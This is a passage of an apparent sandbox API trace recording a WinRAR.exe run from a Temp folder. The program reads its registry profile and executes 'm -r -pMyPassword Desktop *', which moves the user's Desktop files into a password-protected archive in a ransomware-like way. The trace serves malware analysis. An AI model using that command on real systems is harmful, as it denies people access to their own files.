lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.690] RegCloseKey (hKey=0x180) returned 0x0 [0052.690] GetLastError () returned 0x5b0 [0052.690] SetLastError (dwErrCode=0x5b0) [0052.690] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcTimeOriginal", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.691] RegCloseKey (hKey=0x180) returned 0x0 [0052.691] GetLastError () returned 0x5b0 [0052.691] SetLastError (dwErrCode=0x5b0) [0052.691] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="ArcTimeLatest", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.691] RegCloseKey (hKey=0x180) returned 0x0 [0052.691] GetLastError () returned 0x5b0 [0052.691] SetLastError (dwErrCode=0x5b0) [0052.691] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="mtime", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x4, lpcbData=0x1da348*=0x4) returned 0x0 [0052.691] RegCloseKey (hKey=0x180) returned 0x0 [0052.691] GetLastError () returned 0x5b0 [0052.691] SetLastError (dwErrCode=0x5b0) [0052.691] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="ctime", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.691] RegCloseKey (hKey=0x180) returned 0x0 [0052.691] GetLastError () returned 0x5b0 [0052.691] SetLastError (dwErrCode=0x5b0) [0052.691] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="atime", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.691] RegCloseKey (hKey=0x180) returned 0x0 [0052.691] GetLastError () returned 0x5b0 [0052.691] SetLastError (dwErrCode=0x5b0) [0052.691] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="PathsAbs", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.691] RegCloseKey (hKey=0x180) returned 0x0 [0052.691] GetLastError () returned 0x5b0 [0052.691] SetLastError (dwErrCode=0x5b0) [0052.691] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.691] RegQueryValueExW (in: hKey=0x180, lpValueName="PathsNone", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.692] GetLastError () returned 0x5b0 [0052.692] SetLastError (dwErrCode=0x5b0) [0052.692] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.692] RegQueryValueExW (in: hKey=0x180, lpValueName="PathsAbsDrive", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.692] GetLastError () returned 0x5b0 [0052.692] SetLastError (dwErrCode=0x5b0) [0052.692] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.692] RegQueryValueExW (in: hKey=0x180, lpValueName="ImmExec", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.692] GetLastError () returned 0x5b0 [0052.692] SetLastError (dwErrCode=0x5b0) [0052.692] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.692] RegQueryValueExW (in: hKey=0x180, lpValueName="SeparateArc", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.692] GetLastError () returned 0x5b0 [0052.692] SetLastError (dwErrCode=0x5b0) [0052.692] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.692] RegQueryValueExW (in: hKey=0x180, lpValueName="SeparateArcDoubleExt", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.692] GetLastError () returned 0x5b0 [0052.692] SetLastError (dwErrCode=0x5b0) [0052.692] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9eb0 | out: phkResult=0x1d9eb0*=0x180) returned 0x0 [0052.692] RegQueryValueExW (in: hKey=0x180, lpValueName="SeparateArcSubfolders", lpReserved=0x0, lpType=0x1da314, lpData=0x1da310, lpcbData=0x1da348*=0x4 | out: lpType=0x1da314*=0x4, lpData=0x1da310*=0x0, lpcbData=0x1da348*=0x4) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.692] GetLastError () returned 0x5b0 [0052.692] SetLastError (dwErrCode=0x5b0) [0052.692] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.692] RegQueryValueExW (in: hKey=0x180, lpValueName="EmailArcTo", lpReserved=0x0, lpType=0x1d9a84, lpData=0x13f2baa34, lpcbData=0x1d9a80*=0x1000 | out: lpType=0x1d9a84*=0x1, lpData="", lpcbData=0x1d9a80*=0x2) returned 0x0 [0052.692] RegCloseKey (hKey=0x180) returned 0x0 [0052.693] GetLastError () returned 0x5b0 [0052.693] SetLastError (dwErrCode=0x5b0) [0052.693] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9620 | out: phkResult=0x1d9620*=0x180) returned 0x0 [0052.693] RegQueryValueExW (in: hKey=0x180, lpValueName="PackDetails", lpReserved=0x0, lpType=0x1d9a84, lpData=0x1da370, lpcbData=0x1d9a80*=0xc0 | out: lpType=0x1d9a84*=0x3, lpData=0x1da370*, lpcbData=0x1d9a80*=0xc0) returned 0x0 [0052.693] RegCloseKey (hKey=0x180) returned 0x0 [0052.693] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x64) returned 0x2b5ee0 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2b5ee0 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa) returned 0x2e2630 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa) returned 0x2e2630 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1e) returned 0x2df050 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2df050 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x14) returned 0x2e2630 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8) returned 0x2c9950 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c9950 | out: hHeap=0x290000) returned 1 [0052.693] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x1dea30 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0052.693] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x64) returned 0x2b5ee0 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2b5ee0 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa) returned 0x2e2630 [0052.693] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.693] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa) returned 0x2e2630 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iicon", cchCount2=5) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iimg", cchCount2=4) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iadm", cchCount2=4) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="an=", cchCount2=3) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="anf=", cchCount2=4) returned 3 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="setup_integration", cchCount2=17) returned 1 [0052.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="elevate", cchCount2=7) returned 3 [0052.694] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.694] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1e) returned 0x2df050 [0052.694] GetLastError () returned 0x5b0 [0052.694] SetLastError (dwErrCode=0x5b0) [0052.694] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1d5f20 | out: phkResult=0x1d5f20*=0x0) returned 0x2 [0052.694] GetLastError () returned 0x5b0 [0052.694] SetLastError (dwErrCode=0x5b0) [0052.694] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1d66f0 | out: phkResult=0x1d66f0*=0x0) returned 0x2 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=5, lpString2="iicon", cchCount2=5) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iimg", cchCount2=4) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iadm", cchCount2=4) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=3, lpString2="an=", cchCount2=3) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="anf=", cchCount2=4) returned 3 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=12, lpString2="setup_integration", cchCount2=17) returned 1 [0052.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=7, lpString2="elevate", cchCount2=7) returned 3 [0052.694] GetSystemDirectoryW (in: lpBuffer=0x1d6c40, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0052.694] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\Crypt32.dll") returned 0x7fefdc00000 [0053.302] GetProcAddress (hModule=0x7fefdc00000, lpProcName="CryptProtectMemory") returned 0x7fefdc316f8 [0053.302] GetProcAddress (hModule=0x7fefdc00000, lpProcName="CryptUnprotectMemory") returned 0x7fefdc3171c [0053.302] CryptProtectMemory (in: pDataIn=0x13f2b9670, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x13f2b9670) returned 1 [0053.303] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2df050 | out: hHeap=0x290000) returned 1 [0053.303] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x14) returned 0x2e2630 [0053.303] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0053.303] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8) returned 0x2c9960 [0053.303] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x40) returned 0x34bcd0 [0053.303] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c9960 | out: hHeap=0x290000) returned 1 [0053.303] GetFileAttributesW (lpFileName="Desktop" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop")) returned 0xffffffff [0053.303] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1d8600 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop")) returned 0xffffffff [0053.303] GetFileAttributesW (lpFileName="Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar")) returned 0xffffffff [0053.303] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1d85d0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar")) returned 0xffffffff [0053.303] GetFileAttributesW (lpFileName="Desktop.zip" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.zip")) returned 0xffffffff [0053.303] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1d85d0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop.zip" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.zip")) returned 0xffffffff [0053.303] FindFirstFileW (in: lpFileName="Desktop.rar", lpFindFileData=0x1da6b0 | out: lpFindFileData=0x1da6b0) returned 0xffffffffffffffff [0053.304] GetLastError () returned 0x2 [0053.304] SetLastError (dwErrCode=0x2) [0053.304] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Compression", ulOptions=0x0, samDesired=0x9, phkResult=0x1d7850 | out: phkResult=0x1d7850*=0x0) returned 0x2 [0053.304] CreateFileW (lpFileName="Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.305] GetLastError () returned 0x2 [0053.305] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1ca650 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.305] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.305] GetLastError () returned 0x2 [0053.305] GetFileAttributesW (lpFileName="Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar")) returned 0xffffffff [0053.305] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1d0e70 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar")) returned 0xffffffff [0053.305] SendMessageW (hWnd=0x201e6, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0053.305] GetMenu (hWnd=0x201e6) returned 0x101df [0053.305] GetSubMenu (hMenu=0x101df, nPos=4) returned 0x101eb [0053.305] GetSubMenu (hMenu=0x101eb, nPos=5) returned 0x101f3 [0053.305] DeleteMenu (hMenu=0x101f3, uPosition=0x41a, uFlags=0x0) returned 0 [0053.305] CheckMenuItem (hMenu=0x101f3, uIDCheckItem=0xab, uCheck=0x0) returned 0x0 [0053.305] GetLastError () returned 0x2 [0053.305] SetLastError (dwErrCode=0x2) [0053.305] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", ulOptions=0x0, samDesired=0x9, phkResult=0x1d5990 | out: phkResult=0x1d5990*=0x0) returned 0x2 [0053.305] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1d6670 | out: phkResult=0x1d6670*=0x0) returned 0x2 [0053.305] SHGetMalloc (in: ppMalloc=0x1d6610 | out: ppMalloc=0x1d6610*=0x7fefe535380) returned 0x0 [0053.306] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1d6658 | out: ppidl=0x1d6658) returned 0x0 [0053.306] SHGetPathFromIDListW (in: pidl=0x2cb490, pszPath=0x1d7ac0 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0053.306] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0053.306] IMalloc:Free (This=0x7fefe535380, pv=0x2cb490) [0053.306] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0053.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0053.306] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d7ac0, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0053.306] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x92) returned 0x2cb490 [0053.306] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x51d0) returned 0x34d110 [0053.306] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x1d3310 | out: lpFindFileData=0x1d3310) returned 0xffffffffffffffff [0053.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x1d3310 | out: lpFindFileData=0x1d3310) returned 0xffffffffffffffff [0053.306] GetLastError () returned 0x3 [0053.306] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1010) returned 0x3522f0 [0053.306] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x1d3310 | out: lpFindFileData=0x1d3310) returned 0xffffffffffffffff [0053.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x1d3310 | out: lpFindFileData=0x1d3310) returned 0xffffffffffffffff [0053.306] GetLastError () returned 0x3 [0053.306] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3522f0 | out: hHeap=0x290000) returned 1 [0053.306] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34d110 | out: hHeap=0x290000) returned 1 [0053.307] DrawMenuBar (hWnd=0x201e6) returned 1 [0053.307] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x46, wParam=0x0, lParam=0x1dae20) returned 0x0 [0053.307] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1dadf0) returned 0x0 [0053.307] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d94f0) returned 0x1 [0053.335] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x47, wParam=0x0, lParam=0x1dae20) returned 0x0 [0053.336] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1da640) returned 0x1 [0053.336] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1da780) returned 0x0 [0053.336] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d8e80) returned 0x1 [0053.336] CheckMenuItem (hMenu=0x101f3, uIDCheckItem=0xab, uCheck=0x8) returned 0x0 [0053.336] GetLastError () returned 0x0 [0053.336] SetLastError (dwErrCode=0x0) [0053.336] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1d5988, lpdwDisposition=0x1d5980 | out: phkResult=0x1d5988*=0x188, lpdwDisposition=0x1d5980*=0x1) returned 0x0 [0053.337] RegSetValueExW (in: hKey=0x188, lpValueName="ShellExtBMP", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0053.337] RegCloseKey (hKey=0x188) returned 0x0 [0053.337] GetLastError () returned 0x0 [0053.337] SetLastError (dwErrCode=0x0) [0053.337] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x1d5988, lpdwDisposition=0x1d5980 | out: phkResult=0x1d5988*=0x188, lpdwDisposition=0x1d5980*=0x2) returned 0x0 [0053.337] RegSetValueExW (in: hKey=0x188, lpValueName="ShellExtIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0053.337] RegCloseKey (hKey=0x188) returned 0x0 [0053.337] GetLastError () returned 0x0 [0053.337] SetLastError (dwErrCode=0x0) [0053.337] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x1dad80 | out: phkResult=0x1dad80*=0x0) returned 0x2 [0053.337] GetClientRect (in: hWnd=0x201e6, lpRect=0x1db2d0 | out: lpRect=0x1db2d0) returned 1 [0053.337] CreateWindowExW (dwExStyle=0x300, lpClassName="SysListView32", lpWindowName="", dwStyle=0x44200249, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x201e6, hMenu=0xb, hInstance=0x13f160000, lpParam=0x0) returned 0x101fc [0053.339] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x55, wParam=0x101fc, lParam=0x3) returned 0x2 [0053.339] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0053.378] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x210, wParam=0xb0001, lParam=0x101fc) returned 0x0 [0053.378] GetLastError () returned 0x0 [0053.378] SetLastError (dwErrCode=0x0) [0053.378] RegOpenKeyExW (in: hKey=0xffffffff80000001, 